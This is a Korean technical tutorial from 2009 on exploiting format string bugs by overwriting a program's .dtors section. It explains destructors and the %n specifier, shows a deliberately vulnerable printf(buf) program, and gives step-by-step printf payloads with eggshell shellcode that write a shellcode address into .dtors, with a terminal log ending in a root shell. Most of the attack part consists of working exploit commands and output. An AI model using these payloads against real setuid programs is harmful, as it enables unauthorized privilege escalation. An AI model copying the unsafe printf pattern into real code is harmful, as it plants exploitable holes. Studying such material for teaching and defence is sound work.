기술문서	'09. 11. 3. 작성

Format String Bug에서 dtors 우회

작성자 : 영남대학교 @Xpert 박병규
preex@ynu.ac.kr

- 목 차 -

1. 요 약

포맷스트링버그(Format String bug)는 1999 11월에 취약점이 최초로 발견되었고 많은 기법들이 개발되어왔다. 그중에 쓰기 가능한 메모리에 기록되어지는 dtors를 이용한 포맷스트링버그를 알아 볼 것이다.

2. dtor이란?

GNU C 컴파일러로 컴파일 된 이진 프로그램에는 소멸자(Destructor)와 생성자(Constructor)를 위한 특수 테이블 섹션인 .dtors 와 .ctors가 각각 생성된다. 생성자 함수와 소멸자함수를 지정하면 main이 실행 될 때 생성자함수가 실행되고 main이 끝날 때 소멸자 함수가 실행되는데 이중에서 우리가 관심있게 봐야할 것이 소멸자함수와 .dtors 테이블 섹션이다.

```
#include <stdio.h>
static void des(void) __attribute__ ((destructor));
void main(){
printf("main is now₩n₩n");
exit(0);
}
void des(void){
printf("destructor is now₩n₩n");
}
```

```
[skip@localhost dtor]$ gcc -o dtor_sample dtors_sample.c
dtors_sample.c: In function 'main':
dtors_sample.c:4: warning: return type of 'main' is not 'int'
[skip@localhost dtor]$ ./dtor_sample
main is no

destructor is now

[skip@localhost dtor]$ _
```

위 실행 결과 처럼 main이 종료될 때 자동으로 함수가 실행 되는 기능은 .dtors테이블 섹션에 담당한다. 이 섹션은 32비트 주소의 배열로 이루어져 있고 배열은 항상 머리인 0xffffffff로 시작해서 꼬리인 0x00000000로 끝나는 형식을 가진다.

컴파일된 프로그램 내부에 있는 변수나 함수를 추출하는 nm명령어로 dtor_sample를 보면 아래와 같다.

```
[skip@localhost dtor]$ nm ./dtor_sample|more
080495a8 ? _DYNAMIC
08049580 ? _GLOBAL_OFFSET_TABLE_
08048530 R _IO_stdin_used
08049570 ? __CTOR_END__
0804956c ? __CTOR_LIST__
0804957c ? __DTOR_END__
08049574 ? __DTOR_LIST__
08049568 ? __EH_FRAME_BEGIN__
08049568 ? __FRAME_END__
08049648 A __bss_start
         w __cxa_finalize@@GLIBC_2.1.3
08049558 D __data_start
         w __deregister_frame_info@@GLIBC_2.0
080484d0 t __do_global_ctors_aux
080483e0 t __do_global_dtors_aux
0804955c D __dso_handle
         w __gmon_start__
         U __libc_start_main@@GLIBC_2.0
         w __register_frame_info@@GLIBC_2.0
08049648 A _edata
08049660 A _end
0804850c ? _fini
         U _fp_hw
--More--_
08049660 A _end
0804850c ? _fini
         U _fp_hw
08048304 ? _init
080483b0 T _start
08049564 d completed.1
08049558 W data_start
080484ac t des
         U exit@@GLIBC_2.0
08048440 t fini_dummy
08049568 d force_to_data
08049568 d force_to_data
08048450 t frame_dummy
080483d4 t gcc2_compiled.
080483e0 t gcc2_compiled.
080484d0 t gcc2_compiled.
0804850c t gcc2_compiled.
0804848c t gcc2_compiled.
08048480 t init_dummy
08048500 t init_dummy
0804848c T main
08049648 b object.2
08049560 d p.0
         U printf@@GLIBC_2.0
[skip@localhost dtor]$ _
```

dtors 섹션이 08049574에서 시작하고 0804957c에서 끝난다는 사실을 알 수 있다.

```
[skip@localhost dtor]$ gdb dtor_sample
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) x/x 0x08049574
0x8049574 <__DTOR_LIST__>:      0xffffffff
(gdb)
0x8049578 <__DTOR_LIST__+4>:    0x080484ac   ← des함수
(gdb)
0x804957c <__DTOR_END__>:       0x00000000
(gdb) _
```

gdb로 확인해보면 dtors 섹션이 0xffffffff로 시작하고 0x00000000로 끝나며

dtor_sample에서 소멸자로 지정한 des함수의 주소가 오는 걸 알 수 있다.

3. Format String

포맷스트링은 printf함수와 같은 포맷함수안에서 함수 인자의 출력형태를 결정 짓는 일을 한다.

```
int a=3;
printf("a:%d",a);
```

위 코드에서 포맷스트링은 %d이고 역할은 int형 변수를 10진수 상수형태로 출력하라는 것이고 printf함수는 이런 포맷스트링을 만날 때마다 이에 해당되는 인자 값(a)을 찾아서 출력하는 포맷함수의 기본적인 형식이다.

❑ 포맷 스트링의 종류

파라미터(Parameter)	변수 형식
%d	정수형 10진수 상수 (integer)
%f	실수형 상수 (float)
%lf	실수형 상수 (double)
%c	문자 값 (char)
%s	문자 스트링 ((const)(unsigned) char *)
%u	양의 정수 (10 진수)
%o	양의 정수 (8 진수)
%x	양의 정수 (16 진수)
%s	문자열
%n	* int (쓰인 총 바이트 수)
%hn	%n의 반인 2바이트 단위

%d외에도 많은 포맷스트링이 있는데 printf함수나 scanf함수를 쓸 때 많이 써왔던 포맷스트링도 있고 아닌 것도 있을 것이다. 우리는 그중에서 16진수로 출력해주는 %x와 쓰인 총 바이트수를 출력하는 %n에 대해서 알아 볼 것이다.

```
[skip@localhost aa]$ cat test.c
#include <stdio.h>
int main(){
int i;
printf("Format String%n\n",&i);
printf("count : %d\n",i);
}

[skip@localhost aa]$ gcc -o test test.c
[skip@localhost aa]$ ./test
Format String
count : 13
[skip@localhost aa]$ _
```

위의 코드를 보면 Foramt String 라는 문자열을 출력하는 것 같지만 %n을 만나서 앞에서 출력된 문자의 수를 저장도 하는 printf문이다. I에 저장된 문자수를 출력하고 종료되는 함수이고 단순히 printf에 익숙해진 사람이라면 취약점이 될만한 것을 찾을 수 없을 정도로 평범한 printf문이다.

```
#include <stdlib.h>
int main(int argc, char *argv[]){
char text[1024];
if(argc<2){
printf("<text to pintf");
exit(0);
}
strcpy(text,argv[1]);
printf("good:₩n");
printf("%s₩n",text);
printf("₩nbad:₩n");
printf(text);
printf("₩n₩n");
}
```

```
[skip@localhost dtor]$ ./vvv test
good:
test

bad:
test

[skip@localhost dtor]$ ./vvv test%x%x%x%x%x
good:
test%x%x%x%x%x

bad:
testbffff6e000747365747825782 5

[skip@localhost dtor]$ _
```

위의 코드는 입력 파라메타를 2가지 방법으로 출력해주는 프로그램이다. good방법은 %s 포맷스트링을 이용해서 출력하는 방식이고 bad방법은 printf(text) 로 출력하는 방식이고 단순히 문자열을 출력하기 위한 것이라면 bad방법으로 출력하는 프로그래머도 있을 것이다. 위에 예에서 입력 파라메타로 test를 입력했고 출력은 둘 다 입력 값이 출력되었다.

입력 값에 포맷스트링 %x를 포함하는 test%x%x%x%x를 입력해 보

았다. good방법은 %x을 문자열로 보고 그대로 출력했지만 bad방식은 %x대신 알 수 없는 숫자들이 출력되는 것을 볼 수 있다. %x를 만날 때 마다 포맷스트링으로 인식하고 이에 해당되는 인자를 찾지만 없기 때문에 이 인자가 있어야 할 메모리의 값들을 출력되는 것이다.

```
sh-2.04$ (printf "AAAA\xfc\x97\x04\x08%%8x";cat)|./vul1

AAAAü      32

0x080497fc 00 00 00 00                                          ....

sh-2.04$ (printf "AAAA\xfc\x97\x04\x08%%8x%%8x";cat)|./vul1

AAAAü      324013d6c0

0x080497fc 00 00 00 00                                          ....

sh-2.04$ (printf "AAAA\xfc\x97\x04\x08%%8x%%8x%%8x";cat)|./vul1

AAAAü      324013d6c0 d696910

0x080497fc 00 00 00 00                                          ....

sh-2.04$ (printf "AAAA\xfc\x97\x04\x08%%8x%%8x%%8x%%8x";cat)|./vul1

AAAAü      324013d6c0 d69691041414141

0x080497fc 00 00 00 00                                          ....
```

위의 예제를 보면 AAAA₩xfc₩x97₩x04₩x08이란 문자열과 %%8x를 점점 늘려가면서 출력하는 프로그램 예제인데 %%8x를 4개째 썼을 때 입력 문자열인 A의 아스키 코드 값인 41이 읽어져 나온 것을 볼 수 있다. 이제 %n을 이용해서 값을 써 볼 것이다.

```
sh-2.04$
sh-2.04$ (printf "AAAA\xfc\x97\x04\x08%%8x%%8x%%8x%%8x%%100c%%n";cat)|./vul1

AAAAü      324013d6c0 d696910
                                                A

0x080497fc 84 00 00 00                                      ....

Segmentation fault
sh-2.04$ _
```

%%8x대신 %%100c%%n을 입력했다. 10진수 100을 넣었더니 0080497fc주소에 16진수 84가 저장되었다. 왜냐하면 %n앞의 출력된 것들도 포함되어서 값이 써지기 때문이다. 이 값들을 잘 조절해서 넣

으면 메모리에 원하는 값을 넣을 수 있다.

4. root권한 획득

%n포맷스트링으로 값을 쓰고 %x포맷스트링으로 취약함수를 이용하여 메모리 값을 읽어오는 방법을 알아보았다. 이제 dtors의 메모리 값을 조작해서 root권한을 획득해 볼 것이다.

```
#include <stdio.h>
#include "dumpcode.h"
int main(){
char buf[50];
fgets(buf,sizeof(buf),stdin);
printf(buf);
printf("₩n");
dumpcode((char*)0x80497fc,4);
printf("₩n");
}
```

위의 코드를 실행하면 입력 상태가 되고 문자열을 입력하면 취약하게 출력해주는 프로그램이다. dumpcode는 0x80497fc주소부터 값4개를 출력해주는 함수이다. 물론 vul1에는 setruid가 설정되어있어야 한다.

```
[skip@localhost dtor]$ ./vul1
AAAA
AAAA

0x080497fc 00 00 00 00
[skip@localhost dtor]$ ./vul1
AAAA%x%x%x%x
AAAA324013d6c0d69691041414141

0x080497fc 00 00 00 00
[skip@localhost dtor]$ _
```

위의 실행 결과를 보면 3장에서 보았던 포맷스트링에 취약한 프로그램이고 dumpcode함수에 의해서 0x8049f7c주소의 값이 출력되었다.

```
[skip@localhost dtor]$ ./eggshell
esp : 0xbffffab8
sh-2.04$ objdump -h vul1|grep dtors
 18 .dtors       00000008  080497f8  080497f8  000007f8  2**2
sh-2.04$ _
```

환경변수에 쉘코드를 등록하는 eggshell을 실행 시키고 dtors의 주소를 objdump를 이용해서 알아보았다.

```
sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x";cat)|./vul1

AAAAüBBBB■      32

0x080497fc 00 00 00 00                                          ....

sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x%%8x";cat)|./vul1

AAAAüBBBB■      324013d6c0

0x080497fc 00 00 00 00                                          ....

sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x%%8x%%8x";cat)|./vul1

AAAAüBBBB■      324013d6c0 d696910

0x080497fc 00 00 00 00                                          ....
sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x%%8x%%8x%%8x";cat)|./vul1

AAAAüBBBB■      324013d6c0 d69691041414141

0x080497fc 00 00 00 00                                          ....

sh-2.04$ _
```

printf다음의 ""사이에 문자열을 출력 하는 예제인데 문자열이 저장되고 프로그램안의 printf함수에서 입력 값을 화면에 출력하는데 %x를 만나서 메모리의 값을 출력한다. 여기서 중요한 점은 %x를 4개를 사용했을 때 우리가 입력한 41값이 나왔다는 점이다. 41다음에 나오는

dtors주소에 우리가 원하는 값을 쓸 수 있다는 것이다.

```
sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x%%8x%%8x%%64144c%%n";cat)|./vul1_

                                    .
                                    .
                                    .


0x080497fc b8 fa 00 00
Segmentation fault
```

쉘코드주소의 하위 2byte를 dtors에 넣을 것이다. fab8의 10진수 값인 64184를 dtors주소에 써야한다. 64144앞에 출력된 40byte에다 64144를 더한 값이 %n를 만나서 080497fc에 쓰여진다.

```
sh-2.04$ (printf "\x41\x41\x41\x41\xfc\x97\x04\x08\x42\x42\x42\x42\xfe\x97\x04\x
08%%8x%%8x%%8x%%64144c%%n%%50503c%%n";cat)|./vul1

                                    .
                                    .
                                    .


0x080497fc b8 fa ff bf

id
uid=0(root) gid=500(skip) groups=500(skip)
```

이번에는 상위 2바이트를 넣어 볼 것이다. 위와 똑같은 방법으로 bfff를 넣어야하는데 bfff의 값이 10진수로 49151이다. 하지만 fab8을 쓰는데 64184만큼 썼기 때문에 이 값보다 커야한다. 그래서 bfff대신 1bfff로 대체해서 계산하기로 한다. 1bfff의 10진수 값은 114687이고 두 번째 %n까지 114687만큼 출력하게 하려면 50503만큼 두 번째 %n앞에 써야한다.

실행하면 080497fc주소에 쉘코드 주소값bffffab8을 썼고 vul1프로그램이 종료되고 dtors가 실행되면서 쉘코드가 실행되면서 root권한을 획득하게 된다.

5. 참고자료

[1] dtors를 이용한 Format string 자동화툴 설계 - amadoh4ck
[2] dtors를 이용한 format string attack -hardsoju
[3] 해킹 공격의 예술 -Jon Erickson